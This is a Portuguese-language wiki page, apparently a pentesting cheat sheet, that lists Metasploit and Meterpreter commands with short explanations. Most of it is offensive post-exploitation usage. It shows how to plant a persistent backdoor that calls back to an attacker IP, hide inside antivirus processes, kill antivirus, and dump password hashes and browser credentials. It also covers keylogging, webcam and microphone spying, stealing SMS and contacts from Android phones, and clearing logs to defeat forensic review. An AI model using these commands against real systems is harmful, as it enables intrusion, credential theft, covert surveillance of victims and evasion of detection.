Metasploit

Inicializando

Devido ao grande número de ataques possíveis com o Metasploit (fora demais recursos que ele possui), decidi deixar um tópico somente para isso. Para inicializá-lo, execute:

msfconsole

Caso queira já iniciar com os parâmetros já configurados, crie um arquivo com cada "set" em uma linha, e utilize o comando abaixo:

msfconsole -r <file_config>

Trabalhando com Banco de Dados

msfdb run

DICA: Assim que executar o comando, irá ser exibido o arquivo de configuração do banco (caso precise alterar algo). Geralmente o caminho do arquivo deve ser /usr/share/metasploit-framework/config/database.yml.

Para ver as credenciais que já capturadas, execute:

creds

MsfDB

O Metasploit trabalha com um o PostgreSQL para armazenar informações que podem ser utilizadas posteriormente.

Comandos Meterpreter

No diretório /usr/share/metasploit-framework/scripts/meterpreter, há vários scripts que podem ser chamados pelo Meterpreter, através do comando run ex.: run persistence. Caso queira adicionar um novo meterpreter, basta copiar o arquivo .rb para esse diretório e depois executar (já no meterpreter) run <payload>

Obviamente para rodar um payload (no caso o meterpreter), precisa ter um exploit, então caso tenha baixado algum da net, jogue o exploit (que geralmente é uma pasta) em /usr/share/metasploit-framework/data/exploits/ ou /usr/share/metasploit-framework/modules/exploits/.

Sempre que adicionar um novo script, execute o comando abaixo (dentro do Metasploit) para atualizar a lista:

reload_all

DICA: É normal montarmos uma Reverse Shell com o Meterpreter e a sessão cair logo após. Para contornarmos isso, podemos utilizar o migrate (explicação logo abaixo), ou configurar o Metasploit com o comando set AutoRunScript post/windows/manage/migrate, sendo isso antes do comando exploit.

Outra maneira, é executando o comando set AutoRunScript 'post/windows/manage/migrate', antes mesmo da shell meterpreter tiver 100% formada.

COMANDO

DESCRIÇÃO

msfupdate

Atualiza os componentes do Metasploit (recomendado atualizar pelo menos uma vez por semana)

msfconsole

Inicia o Metasploit

help

Lista os comandos

show

Mostra todos os comandos

show auxiliary

Mostra todos os comandos para auxiliary. Auxiliary são ferramentas auxiliares que não estão ligadas diretamente com o exploit, mas faz parte do processo de ataque, exemplo: Scanners, DDOS, Fuzzers, etc

show exploits

Mostra todos os exploits

show payloads

Mostra todos os payloads. Se tiver um exploit já selecionado, irá mostrar somente os payloads para esse exploit. Repare se o payload é Inline ou Staged, lembrando que, caso não apareca o seu tipo, assume-se que ele é Inline

show options

Mostra as configurações que estão disponíveis e / ou são necessarias para o módulo específico

show targets

Execute esse comando dentro do contexto de um módulo (ou seja, depois e já selecionar o módulo), assim irá saber se o SO é vulnerável a essa exploração

show advanced

Mostra o aperfeiçoamento das falhas de segurança. Para ver todas as opções do shows, digite show e pressione TAB duas vezes OBS.: Se você estiver utilizando uma exploração particular (ex.: Windows), ao executar o show payload, não será mostrado os Payloads do Linux

search

Utilizado para quem tem uma idéia de que realmente sabe o que procura, ex.: search ms09-001

OBS.: Caso apareca uma mensagem informando que não foi possível conectar ao banco de dados ([!] Module database cache not built yet, using slow search), corrija-o no tutorial contido aqui na Wiki

help <command>

Mostra a ajuda sobre determinado comando

sessions -u <session_id>

Atualiza sua Reverse Shell não-Meterpreter para uma shell Meterpreter

use post/multi/manage/shell_to_meterpreter

Antes de executar, pressione CTRL + Z para jogar a session atual em background. Após definir o uso de shell_to_meterpreter, configure a session atual

getenv PATH

Exibe as variáveis de ambiente

sysinfo

Informações sobre o SO

info

Fornece infomações detalhadas sobre um módulo em particular, incluindo todas as opções disponíveis.

Ex.: info dos/windows/smb/ms09_001_write

use

Quando estiver decidido sobre um módulo específico, utilize esse comando para selecioná-lo. Ex.: use exploit/windows/smb/ms03_049_netapi

connect

Utilize esse comando junto com um endereço IP e o número da porta, assim irá se conectar a um host remoto de dentro do msfconsole como se estivesse no netcat ou no telnet Ex.: connect 192.168.1.13 23

set

Comando utilizado para definir configurações as opções do módulo que está trabalhando no momento. Ex: set RHOST 192.168.1.13 Ex 2.: set rhosts 192.168.1.20-192.168.1.30 ou 192.168.1.0/24, 192.168.3.0/24) ,

sessions, background -l, sessions-l

Lista as sessões que estão ativas

sessions <id_session>, background -i <id_session>

Acessa a sessão

show encoders

Define um codificador para usar em tempo de execução. Isso é particularmente útil no desenvolvimento de explorar quando você não está completamente certo quanto à carga de métodos de codificação que irá trabalhar com um exploit. Depois de saber qual "encoder" utilizar, use o comando "set", ex.: set encoder x86/shikata_ga_nai

check

Utilize esse comando depois de definir o exploit e o IP do alvo (RHOST). Esse comando irá verificar se o host é vulnerável, antes mesmo de atacá-lo

run

Executa todas as configurações já definidas, por meios dos comandos "exploit" e "set"

back

Remove as configurações que definiu e deixa como se tivesse acaado de acessar o msfconsole

search -d </path/directory> -f *abc*

Procura por algum arquivo que tenha abc em alguma parte do nome

resource nome_arquivo.rc

Alguns ataques como Karmetasploit usa um arquivo de recurso, que são scripts básicos para o msfconsole. Ele executa os comandos do arquivo em sequência

irb

Irá cair em Ruby Script de modo onde pode emitir comandos e criar scripts personalizados

background

Deixa a sessão do Meterpreter em segundo plano. O mesmo pode ser feito com CTRL + Z

clearev

Irá limpar o Aplicativos e Serviços (Visualizador de Eventos), do Windows

checksum md5 <file>

Gera um hash MD5 de um determinado arquivo

ps

Serviços que estão sendo executados no Windows e seus respectivos PID

ps <pid>

Abre determinado programa

ps -S <search_proccess>

Procura por um determinado processo

migrate <pid>

Migra o PID do exploit para outro PID, por exemplo, o do antivírus ou o explorer. Assim além do antivírus não acha o vírus e o vírus só será encerrado se o antivírus também for encerrado. Esse é sem dúvida um dos primeiros comandos a ser executado. Se quiser, pode utilizar o -p antes do <pid>. Utilizando o migrate que esteja para um serviço que seja de outro usuário, você irá fazer um impersonate para este usuário

screenshot

Realizar captura da tela da vítima

load powershell

Carrega a extensão para utilizar o Powershell

powershell_shell

Abre a shell interativa do Powershell. Utilize antes o comando load powershell para habilitar essa funcionalidade.

powershell_execute <command>"

Executa um comando no Powershell sem precisar entrar no modo interativo. Utilize antes o comando load powershell para habilitar essa funcionalidade.

powershell_execute Enable-PSRemoting -Force

Habilita o WinRM.

run persistence -S -L c:\\windows\\system32 -i 10 -p 4444 -r <ip_atacante>

Faz com que o backdoor fique persistente. Assim que o usuário fizer login, irá tentar fazer uma nova conexão de 10 em 10 segundos

run killav

Mata o antivírus

run enum_firefox

Pega todas as senhas salvas e cookies utilizadas no firefox

run hostsedit

Edita o arquivo hosts

run getcountermeasure

Ignora o antivírus, firewall e IDS

steal_token <pid>

Rouba o token. Por exemplo se roubarmos o PID do SQL Server, podemos ter acesso a todas as bases

download c:\\boot.ini

Faz o download do arquivo para o Linux

upload /root/arquivo.txt c:\\windows

Faz upload do arquivo.

ipconfig

Mostra as interfaces de rede

reboot

Reinicia a máquina

shutdown

Desliga a máquina

hashdump

Obtém os hashes dos usuários locais do SO

use post/windows/gather/hashdump

Pega os hashes dos usuários

OBS.: Precisa ser Administrador do sistema

use post/windows/gather/cachedump

Pega os hashes dos usuários que estão na memória

OBS.: Precisa ser Administrador do sistema

timestamp ­-h

Comandos usados para evitar detecção por uma perícia forense

idletime

Mostra quanto tempo a vítima está afastada da sua máquina, ou seja não houve sequer interação com o mouse ou teclado

cat c:\\<arquivo>

Lê o arquivo e mostra a saída no terminal

edit c:\\boot.ini

Edita o arquivo atraves do VIM

getuid

Mostra a autoridade do usuário que está utilizando no momento no sistema (hostname / user)

pwd

Diretório atual na máquina alvo

lpwd

Executa o comando pwd na máquina no atacante

uictl

Comando usado para controlar o teclado / mouse (ativar ou desativar) da vítima

start

Abre um prompt no windows

clearenv

Limpa os log's do Windows

keyscan_start

Instala um keyogger

keyscan_dump

Resultado da captura do keyogger

keyscan_stop

Desliga o keylogger. Utilize o keyscan_dump antes do keyscan_stop

lcd Deskop

Altera o valor de lpwd para /root/Deskop

tasklist

Serviços que estão sendo executados no Windows

resource arquivo.txt

Executa os comandos do arquivo txt

OBS.: Cada comando deve ficar em uma linha do arquivo txt

search -f arquivo.txt

Procura pelo arquivo arquivo.txt

search -f sea*.bat c:\\xamp\\

Procura por um arquivo porém de forma mais avançada

run getgui -u <usuario> -p <senha>

Acessa a máquina via Remote Desktop

arp

Mostra tabela ARP

use priv

Habilita extensão para ganho de privilégio

getsystem

Acessa como usuário SYSTEM. Se aparecer escrito Got system, é porque deu certo

getprivs

Acessa como usuário SYSTEM, semelhante ao comando getsystem

run post/windows/gather/win_privs

O mesmo que getsystem

execute -f c\\virus.exe

Executa um arquivo em background na vítima

rev2self

Comando usado para voltar para usuário antigo

shell

Entra na Shell do SO

webcam_list

Mostra o nome das webcams

webcam_snap

Tira foto através da webcam

webcam_snap -i 1 -v false

Tira um print da tela da vítima

webcam_snap –I 2

Tira print screen pela segunda câmera, caso haja (Android)

record_mic

Grava áudio da vítima

webcam_list

Lista as webcams

webcam_stream

Acessa a Web em tempo real para fazer/gravar vídeos

webcam_strream –I 2

Grava vídeo pela segunda câmera, caso haja (Android)

dump_contacts

Faz um dump da agenda (Android)

dump_sms

Pegar os SMS (Android)

geolocate

Descobre a localização atual (Android)

run packetrecorder -li / run packetrecorder -i 1

Executa o tcpdump

search -f *.txt

Procura por arquivos com determinada extensão

Trabalhando com Variáveis

Assim que iniciar o msfconsole, digite set, para ver as variáveis globais já definidas.

COMANDO

DESCRIÇÃO

setg

Define variáveis globais dentro do msfconsole, assim pode usar com muitos exploits e módulos auxiliares e porderá usá-las na próxima vez que utilizar o msfconsole

save

Salva as variáveis definidas com setg. Caso não salve, serão apagados assim que fechar o msfconsole

unsetg <nome_variavel>

Sempre utilize esse comando para remover os comandos salvos (caso tenho costume de salvar)

unsetg all

Remove todas as variáveis

Exemplo

use exploit/multi/handler
setg RHOST <ip_alvo>
save

Metasploit + NMAP

Antes de começar, certifique-se de que o PostgreSQL está em execução com o comando service postgresql status.

msfconsole

# Conecta-se ao banco de dados
db_connect postgres:postgres@localhost:5432/msf3

# Verifica se está conectado
db_status

# Varredura utilizando o NMAP
db_nmap 192.168.1.0/24

# Realiza varredura do SO e extrai resultado arquivo XML chamado subnet_192.168.1.0-OS
nmap -O 912.168.1.77 -oX subnet_192.168.1.0-OS

# Importa o resultado do subnet_192.168.1.0-OS.xml para o banco de dados do Metasploit
db_import subnet_192.168.1.0-OS

# Verifica os hosts que já foram armazenados no banco de dados pelo comando db_import
hosts

# O mesmo que o comando "hosts", porém filtrando somente pelos campos de endereço e SO
hosts -c address,os_name

# Comando semelhante ao "hosts", porém mostra portas, protocolos, nomes, estados, etc
services

# O comando "services" pode ser utilizado para mostrar todas as portas abertas e os serviços disponível em "hosts" já identificados também é possível filtrar esses dados.
# Nesse exemplo está filtrando todos os hosts com SSH disponível
services -s ssh

Localizando Máquinas Zumbis

msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.1.1/24
set THREADS 50
set INTERFACE wlan0
run

Descobrindo SO

msfconsole
use scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run

OBS.: Observe que agora as informações recém-adquiridas são armazenadas no banco de dados do Metasploit. Para isso digite no terminal: db_hosts

Listando E-mails

msfconsole
use auxiliary/gather/search_email_collector
set DOMAIN <domain.com>
run

Port Scan

Realizando scan em todos os hosts que possuem a porta 80 aberta

msfconsole
use scanner/portscan/syn
set INTERFACE <interface>
set PORTS 80
set RHOSTS 192.168.1.0/24
set THREADS 30
run

OBS.: Caso queira listar todos os "portscan", digite: search portscan

VNC

Procurando por alvo com VNC instalado

use auxiliary/scanner/vnc/vnc_login
set rhosts <ip>
run

Scan por no-auth

use auxiliary/scanner/vnc/vnc_none_auth
set rhosts <ip>
run

Obtendo a senha do VNC

use post/windows/gather/credentials/vnc
set session <session>
exploit

Sites

https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#metasploit-powershell-modules

Last updated